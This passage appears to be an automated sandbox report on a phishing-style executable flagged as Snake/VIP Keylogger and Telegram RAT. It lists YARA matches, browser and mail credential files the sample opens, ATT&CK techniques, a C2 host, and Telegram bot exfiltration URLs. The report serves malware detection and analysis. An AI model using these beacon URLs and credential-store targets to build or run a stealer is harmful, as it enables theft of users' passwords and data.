Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Users\user\Desktop\Company introduction.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Users\user\AppData\Roaming\FzXKnGk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Users\user\AppData\Roaming\FzXKnGk.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Company introduction.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 8144, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 8144, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Company introduction.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\Company introduction.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\FzXKnGk.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2941471703.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 8144, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7812, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 8144, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4448f78.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FzXKnGk.exe.4405f58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e9a600.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Company introduction.exe.4e575e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Company introduction.exe PID: 7452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FzXKnGk.exe PID: 8144, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	13 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Company introduction.exe	29%	Virustotal		Browse
Company introduction.exe	34%	ReversingLabs
Company introduction.exe	100%	Avira	HEUR/AGEN.1311126
Company introduction.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\FzXKnGk.exe	100%	Avira	HEUR/AGEN.1311126
C:\Users\user\AppData\Roaming\FzXKnGk.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\FzXKnGk.exe	34%	ReversingLabs
C:\Users\user\AppData\Roaming\FzXKnGk.exe	29%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.48.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:34:14%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20and%20Time:%2015/01/2025%20/%2014:14:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20302494%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.fontbureau.com/designersG	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/?	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers?	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lB	Company introduction.exe, 00000006.00000002.2941471703.0000000003291000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003532000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.tiro.com	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Company introduction.exe, 00000006.00000002.2950101107.0000000004449000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004373000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041F7000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000031AD000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041CF000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004326000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004470000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045C6000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.000000000344C000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004422000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004497000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004614000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003506000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	Company introduction.exe, 00000000.00000002.1733796821.0000000004E57000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2941471703.00000000030A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004405000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 00000007.00000002.1759032801.0000000004264000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003341000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2937919242.000000000042F000.00000040.00000400.00020000.00000000.sdmp	false	high
http://www.sajatypeworks.com	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:302494%0D%0ADate%20a	Company introduction.exe, 00000006.00000002.2941471703.000000000318A000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2940815636.0000000003429000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.typography.netD	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/cThe	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/staff/dennis.htm	Company introduction.exe, 00000000.00000002.1738085803.0000000007602000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	Company introduction.exe, 00000006.00000002.2950101107.000000000415D000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004424000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004301000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.000000000432C000.00000004.00000800.00020000.00000000.sdmp, Company introduction.exe, 00000006.00000002.2950101107.0000000004188000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045CC000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000046C4000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004472000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000045A1000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.0000000004428000.00000004.00000800.00020000.00000000.sdmp, FzXKnGk.exe, 0000000C.00000002.2947935946.00000000043FD000.00000004.00000800.00020000.00000000.sdmp	false	high
